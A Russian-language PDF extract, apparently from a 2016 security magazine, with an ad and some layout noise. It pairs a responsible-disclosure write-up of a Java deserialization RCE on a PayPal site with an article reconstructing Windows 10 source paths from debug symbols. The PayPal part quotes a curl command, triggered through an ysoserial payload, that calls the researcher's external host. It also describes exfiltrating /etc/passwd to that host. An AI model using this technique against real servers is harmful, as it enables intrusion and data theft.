Главная страница
Навигация по странице:

  • ФИЛьТРАЦИя ДАННых ИЗ СИМВОЛьНых ФАйЛОВ

  • Зацепка-фильтр № 1

  • Зацепка-фильтр № 2

  • Зацепка-фильтр № 3

  • ФИЛьТРАЦИя ДАННых ИЗ ИСПОЛНяЕМых ФАйЛОВ

  • Зацепка-фильтр № 4

  • Зацепка-фильтр № 5

  • ИЗУЧАЕМ ПОЛУЧЕННыЕ ДАННыЕ

  • Содержание. __ от редакции. Биография сетевого периметра в картинках


    Скачать 5.92 Mb.
    НазваниеБиография сетевого периметра в картинках
    Анкорy6536
    Дата21.05.2022
    Размер5.92 Mb.
    Формат файлаpdf
    Имя файлаСодержание. __ от редакции.pdf
    ТипБиография
    #542154
    страница15 из 22
    1   ...   11   12   13   14   15   16   17   18   ...   22
    68
    70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 02 04 06 08 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50
    взломать pAypAl
    ЗА 73 СЕКУНДы
    Михаил Степанкин
    habrahabr.ru/company/pt/blog/276459/
    При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр oldFormData, который выглядел как сложный Java-объект, закодированный в base64.
    В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которая я понял, что это сериализованный Java-объект класса java.util.HashMap без какой-либо цифровой подписи. Это означа- ло, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод readObject (или readResolve) нового класса.
    В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне вы- полнять произвольные команды на веб-серверах внутри корпо- ративной сети. При отправке веб-формы на сайте manager.paypal.
    com в одном из скрытых параметров передавались закодирован- ные данные в виде сериализованного объекта Java. Данный пара- метр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.
    Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выяв- ления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера.
    После этого я отправил полученный закодированный объект на сер- вер в параметре oldFormData и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:
    Для эксплуатации мне необходимо было найти в исходниках при- ложения (или в библиотеках, которые оно использует) класс, кото- рый имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.
    К счастью, Chris Frohoff и Gabriel Lawrence в начале 2015 года про- делали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.
    я немедленно скачал эту утилиту с их проекта на github и сгенериро- вал объект класса sun.reflect.annotation.AnnotationInvocationHandler, десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal», если на сервере доступна библиотека
    Commons Collections.
    Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.
    я мог бы загрузит бекдор, получить доступ к базам данных, кото- рые использует приложение, или побродить по внутренней сети.
    Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:
    я также записал видео, как воспроизвести эту уязвимость (
    youtu.
    be/3GnyrvVyJNk
    ), и отправил всю эту информацию в PayPal.
    После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил те- стирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, дру- гой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.

    69
    // уязвимости и атаки
    53 55 57 59 61 63 65 67
    69
    71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51
    знакомимСя С иСходниками
    WINDOWS 10
    Артем Шишкин
    habrahabr.ru/company/pt/blog/279215/
    Насколько бы закрытым ни было программное обеспечение
    Microsoft, информации о своем внутреннем устройстве оно выдает предостаточно. К примеру, экспорт функций из библиотеки по име- нам дает представление о ее интерфейсах. В свободном доступе есть и отладочные символы, которые повсеместно используются для диагностики ошибок в ОС. Однако на руках у нас все равно имеются только скомпилированные бинарные модули. Становится интересно: а какими они были до компиляции? Попробуем разобраться, как по- лучить побольше информации об исходных кодах, не делая ничего незаконного.
    Идея, конечно, не нова. В свое время подобное делали и Марк
    Руссинович, и Алекс Ионеску. Мне лишь было интересно получить свежие данные, немного дополнив и уточнив уже проделанную дру- гими работу. Для эксперимента нам понадобятся пакеты отладочных символов, которые есть в свободном доступе. я взял пакеты для по- следней релизной версии Windows 10 (64 бита), причем решил ис- следовать и релизный пакет (free build), и отладочный (checked build).
    Отладочные символы — это набор файлов с расширением pdb
    (program database, база данных программы), в которых хранится различная информация для расширения возможностей отладки би- нарных модулей в ОС, включая имена глобалов, функций и структур данных, иногда вместе с их содержимым.
    Помимо символов можно взять условно доступную отладочную сборку Windows 10. Такая сборка богата на ассерты, в которых бы- вают описаны не только недокументированные и отсутствующие в символьных файлах имена переменных, но и номер строки в файле, в котором сработал ассерт.
    if ( nFilterType + 1 > 0xF )
    {
    v6 = VRipOutput(
    &unk_32D194,
    ERROR_INVALID_HOOK_FILTER,
    0x2000000
    "windows\\core\\ntuser\\kernel\\windows\\hooks.cxx", // File
    642,
    // Line
    "zzzSetWindowsHookEx",
    // Function
    "Invalid hook type 0x%x",
    // Message nFilterType);
    goto FASTFAIL;
    }
    В примере видны не только имя файла и его расширение, но и струк- тура каталогов до него, очень полезная даже без корня.
    Натравливаем на файлы символов утилиту strings от sysinternals и получаем около 13 гБ сырых данных. Использовать все файлы из дистрибутива отладочной сборки подряд — не очень хорошая идея, ненужных данных будет слишком много. Ограничимся набором рас- ширений: exe — исполняемые файлы, sys — драйвера, dll — библи- отеки, ocx — ActiveX-компоненты, cpl — компоненты панели управ- ления, efi — EFI-приложения, в частности загрузчик. Сырых данных от дистрибутива набралось 5,3 гБ.
    К своему удивлению я обнаружил, что не так много программ спо- собны хотя бы открыть файлы размером в десяток гигабайт, и уж тем более единицы смогли поддержать функцию поиска внутри таких файлов. В данном эксперименте для ручного просмотра сырых и промежуточных данных использовался 010 Editor. Фильтрация дан- ных осуществлялась скриптами на Python.
    ФИЛьТРАЦИя ДАННых ИЗ СИМВОЛьНых ФАйЛОВ
    В символьных файлах помимо прочего содержится информация ком- поновщика. То есть, присутствует список объектных файлов, которые использовались для компоновки соответствующего бинарного фай- ла, причем в компоновщике используется полный путь до объектно- го файла.
    Зацепка-фильтр № 1:
    ищем строки по маске ":\\".
    Получаем абсолютные пути, сортируем, удаляем дубликаты. К слову, мусора получилось не так много, и он был удален вручную.
    При осмотре полученных данных стала понятна примерная струк- тура дерева исходных кодов. Корень — "d:\th", что по всей види- мости означает threshold, в соответствии с названием ноябрьской версии Windows 10 — Threshold 1. Однако файлов с корнем "d:\th" оказалось мало. Это объясняется тем, что компоновщик принимает уже собранные файлы. А сборка объектных осуществляется в папки "d:\th.obj.amd64fre" для релизной сборки и "d:\th.obj.amd64chk" для отладочной.
    Зацепка-фильтр № 2:
    предполагаем, что исходные файлы хра- нятся по аналогии с объектными файлами после сборки, и осущест- вляем «разборку» объектных файлов в исходные. Внимание! Этот шаг может внести искажение структуры для некоторых папок, потому как достоверно не известны параметры сборки исходников.
    Для примера:
    d:\th.obj.amd64fre\shell\osshell\games\freecell\objfre\amd64\
    freecellgame.obj
    , это бывший:
    d:\th\shell\osshell\games\freecell\freecellgame.c??
    По поводу расширения файлов: объектный файл получается из кучи разных типов исходного файла: "c", "cpp", "cxx", "asm" и т. д. На данном этапе неясно, какой именно тип исходного файла использовался, по- этому оставим расширение "c??".
    Помимо папки "d:\th" наблюдается множество других корней.
    Например, "d:\th.public.chk" и "d:\th.public.fre". Данную папку мы опу- стим ввиду того, что в ней хранится публичная часть sdk. Также стоит отметить различные пути проектов для драйверов, которые, судя по всему, собираются где-то на рабочих местах разработчиков:
    c:\users\joseph-liu\desktop\sources\rtl819xp_src\common\objfre_win7_
    amd64\amd64\eeprom.obj
    positive research 2016 70 52 54 56 58 60 62 64 66 68
    70
    72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 02 04 06 08 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50
    C:\ALLPROJECTS\SW_MODEM\pcm\amd64\pcm.lib
    C:\Palau\palau_10.4.292.0\sw\host\drivers\becndis\inbox\WS10\sandbox\
    Debug\x64\eth_tx.obj
    C:\Users\avarde\Desktop\inbox\working\Contents\Sources\wl\sys\amd64\
    bcmwl63a\bcmwl63a\x64\Windows8Debug\nicpci.obj
    Другими словами, существует набор драйверов устройств, отвеча- ющих стандартам, например USB XHCI, которые входят в дерево ис- ходных кодов ОС. А все специфичные драйверы собираются где-то в другом месте.
    Зацепка-фильтр № 3:
    удаляем бинарные файлы, поскольку нам интересны только исходные. Удаляем "pdb", "lib", "exp" и т. п. Файлы "res" откатываем до "rc" — исходного кода ресурсного файла.
    Выходные данные становятся все красивее! Однако на этом этапе дополнительные данные получить уже практически невозможно.
    Переходим к следующему набору сырых данных.
    ФИЛьТРАЦИя ДАННых ИЗ ИСПОЛНяЕМых ФАйЛОВ
    Поскольку абсолютных путей в сырых данных оказалось мало, филь- тровать строки будем по расширениям:
    "c" — исходные файлы на языке C,
    "cpp" — исходные файлы на C++,
    "cxx" — исходные файлы на C или C++,
    "h" — заголовочные файлы на C,
    "hpp" — заголовочные файлы на C++,
    "hxx" — заголовочные файлы на C или C++,
    "asm" — исходные файлы на MASM,
    "inc" — заголовочные файлы на MASM,
    "def" — описательный файл для библиотек.
    После фильтрации данных становится видно, что хотя у полученного пути и нет корня, структура каталогов говорит о том, что она стро- ится относительно него. То есть, всем путям достаточно добавить в начале корень "d:\th".
    На этом этапе есть несколько проблем с данными, полученными из символов. Первая проблема: мы не уверены, что правильно откатили путь сборки исходного файла в объектный файл.
    Зацепка-фильтр № 4:
    проверим, есть ли совпадения между путя- ми до объектных файлов и путями до исходных.
    И они действительно есть! То есть, для большинства каталогов мож- но утверждать, что их структура восстановлена правильно. Конечно, все еще остаются сомнительные каталоги, но думаю, эта погреш- ность вполне приемлема. Попутно можно смело заменять расшире- ние "c??" на расширение совпавшего по пути исходника.
    Вторая проблема — заголовочные файлы. Дело в том, что это важная часть исходных файлов, однако из заголовочного файла не получает- ся объектный, а это значит, что из информации об объектных файлах нельзя восстановить заголовочные. Приходится довольствоваться малым, а именно теми заголовочными файлами, которые мы нашли в сырых данных бинарных файлов.
    Третья проблема: мы все еще не знаем большинство расширений ис- ходных файлов.
    Зацепка-фильтр № 5:
    будем считать, что в пределах одной пап- ки хранятся исходные файлы одинакового типа. Другими слова- ми, если в какой-либо из папок уже присутствует файл с расши- рением "cpp", скорее всего все его соседи будут иметь такое же расширение.
    Ну а как же исходники на ассемблере? За последним штрихом можно обратиться к Windows Research Kernel — исходным кодам Windows
    XP — и часть исходников на ассемблере переименовать вручную.
    ИЗУЧАЕМ ПОЛУЧЕННыЕ ДАННыЕ
    Какое-то время я изучал вопрос об устройстве телеметрии в
    Windows 10. К сожалению, анализ на скорую руку ничего интересно- го не выявил. я не нашел никаких кейлоггеров, никакой утечки чув- ствительных данных. И первым ключевым словом для поиска среди исходных файлов было "telemetry". Результат превзошел мои ожида- ния: 424 совпадения. Самые интересные приведу ниже.
    d:\th\admin\enterprisemgmt\enterprisecsps\v2\certificatecore\certificates-
    toretelemetry.cpp
    d:\th\base\appcompat\appraiser\heads\telemetry\telemetryappraiser.cpp
    d:\th\base\appmodel\search\common\telemetry\telemetry.cpp
    d:\th\base\diagnosis\feedback\siuf\libs\telemetry\siufdatacustom.c??
    d:\th\base\diagnosis\pdui\de\wizard\wizardtelemetryprovider.c??
    d:\th\base\enterpriseclientsync\settingsync\azure\lib\azuresettingsyncpro-
    vidertelemetry.cpp
    d:\th\base\fs\exfat\telemetry.c
    d:\th\base\fs\fastfat\telemetry.c
    d:\th\base\fs\udfs\telemetry.c
    d:\th\base\power\energy\platformtelemetry.c??
    d:\th\base\power\energy\sleepstudytelemetry.c??
    d:\th\base\stor\vds\diskpart\diskparttelemetry.c??
    d:\th\base\stor\vds\diskraid\diskraidtelemetry.cpp
    d:\th\base\win32\winnls\els\advancedservices\spelling\platformspecific\
    current\spellingtelemetry.c??
    d:\th\drivers\input\hid\hidcore\hidclass\telemetry.h
    d:\th\drivers\mobilepc\location\product\core\crowdsource\locationorion-
    telemetry.cpp
    d:\th\drivers\mobilepc\sensors\common\helpers\sensorstelemetry.cpp

    71
    // уязвимости и атаки
    53 55 57 59 61 63 65 67 69
    71
    73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51
    d:\th\drivers\wdm\bluetooth\user\bthtelemetry\bthtelemetry.c??
    d:\th\drivers\wdm\bluetooth\user\bthtelemetry\fingerprintcollector.c??
    d:\th\drivers\wdm\bluetooth\user\bthtelemetry\localradiocollector.c??
    d:\th\drivers\wdm\usb\telemetry\registry.c??
    d:\th\drivers\wdm\usb\telemetry\telemetry.c??
    d:\th\ds\dns\server\server\dnsexe\dnstelemetry.c??
    d:\th\ds\ext\live\identity\lib\tracing\lite\microsoftaccounttelemetry.c??
    d:\th\ds\security\base\lsa\server\cfiles\telemetry.c
    d:\th\ds\security\protocols\msv_sspi\dll\ntlmtelemetry.c??
    d:\th\ds\security\protocols\ssl\telemetry\telemetry.c??
    d:\th\ds\security\protocols\sspcommon\ssptelemetry.c??
    d:\th\enduser\windowsupdate\client\installagent\common\commontelem
    etry.cpp
    d:\th\enduser\winstore\licensemanager\lib\telemetry.cpp
    d:\th\minio\ndis\sys\mp\ndistelemetry.c??
    d:\th\minio\security\base\lsa\security\driver\telemetry.cxx
    d:\th\minkernel\fs\cdfs\telemetry.c
    d:\th\minkernel\fs\ntfs\mp\telemetry.c??
    d:\th\minkernel\fs\refs\mp\telemetry.c??
    d:\th\net\netio\iphlpsvc\service\teredo_telemetry.c
    d:\th\net\peernetng\torino\telemetry\notelemetry\peerdistnotelemetry.c??
    d:\th\net\rras\ip\nathlp\dhcp\telemetryutils.c??
    d:\th\net\winrt\networking\src\sockets\socketstelemetry.h
    d:\th\shell\cortana\cortanaui\src\telemetrymanager.cpp
    d:\th\shell\explorer\traynotificationareatelemetry.h
    d:\th\shell\explorerframe\dll\ribbontelemetry.c??
    d:\th\shell\fileexplorer\product\fileexplorertelemetry.c??
    d:\th\shell\osshell\control\scrnsave\default\screensavertelemetryc.c??
    d:\th\windows\moderncore\inputv2\inputprocessors\devices\keyboard\lib\
    keyboardprocessortelemetry.c??
    d:\th\windows\published\main\touchtelemetry.h
    d:\th\xbox\onecore\connectedstorage\service\lib\connectedstorageteleme
    tryevents.cpp
    d:\th\xbox\shellui\common\xbox.shell.data\telemetryutil.c??
    Комментировать, пожалуй, не стоит, поскольку все равно достовер- но ничего не известно. Однако эти данные могут послужить хорошей отправной точкой для отдельного исследования.
    Следующая находка — PatchGuard. Правда, в дереве исходников ОС присутствует только один файл непонятного, скорее всего бинарно- го типа.
    d:\th\minkernel\ntos\ke\patchgd.wmp
    Поискав совпадения в нефильтрованных данных, я обнаружил, что на самом деле Kernel Patch Protection — это отдельный проект.
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen00.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen01.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen02.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen03.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen04.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen05.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen06.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen07.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen08.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen09.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgd.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda2.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda3.c??
    d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda4.c??
    Не придумав больше ничего, я начал искать все подряд — и остался доволен!
    d:\th\windows\core\ntgdi\fondrv\otfd\atmdrvr\umlib\backdoor.c??
    Бекдор в драйвере шрифтов?
    d:\th\inetcore\edgehtml\src\site\webaudio\opensource\wtf\wtfvector.h
    Web Template Framework, это всего лишь Web Template Framework, спорная аббревиатура. Погодите, это что, open source?
    d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\
    libjpeg\jaricom.c??
    d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\
    libpng\png.c??
    d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\libtiff\
    tif_compress.c??
    d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\zlib\
    deflate.c??
    Теперь действительно все.
    первый в роССии международный Сертификат БезопаСноСти iso 15408
    Система контроля защищенности и соответствия стандартам безопасности MaxPatrol прошла успешную сертификацию по стандарту ISO 15408 в германии. Международный сертификат выдан немецким Федеральном ведомством по безопасности в сфере информационных технологий (BSI) — это аналог российского ФСТЭК. Сертификат MaxPatrol подтверждает, что ее функ- ции безопасности предотвращают несанкционированный доступ к результатам сканирования, настройкам и иной важной информации, обрабатываемой системой. Испытания проводилось в соответствии с уровнем доверия EAL2, который предусма- тривает не только тестирование продукта испытательной лабораторией, но и детальное изучение проектной документации, процессов разработки и тестирования, а также поиск уязвимостей в файлах дистрибутива системы. Сертификат ISO 15408, выданный в германии, также признается в 25 странах мира. Это первая успешная сертификация программного продукта рос- сийской компании за рубежом в рамках международного соглашения Common Criteria Recognition Agreement.
    positive research 2016 72 52 54 56 58 60 62 64 66 68 70
    1   ...   11   12   13   14   15   16   17   18   ...   22


    написать администратору сайта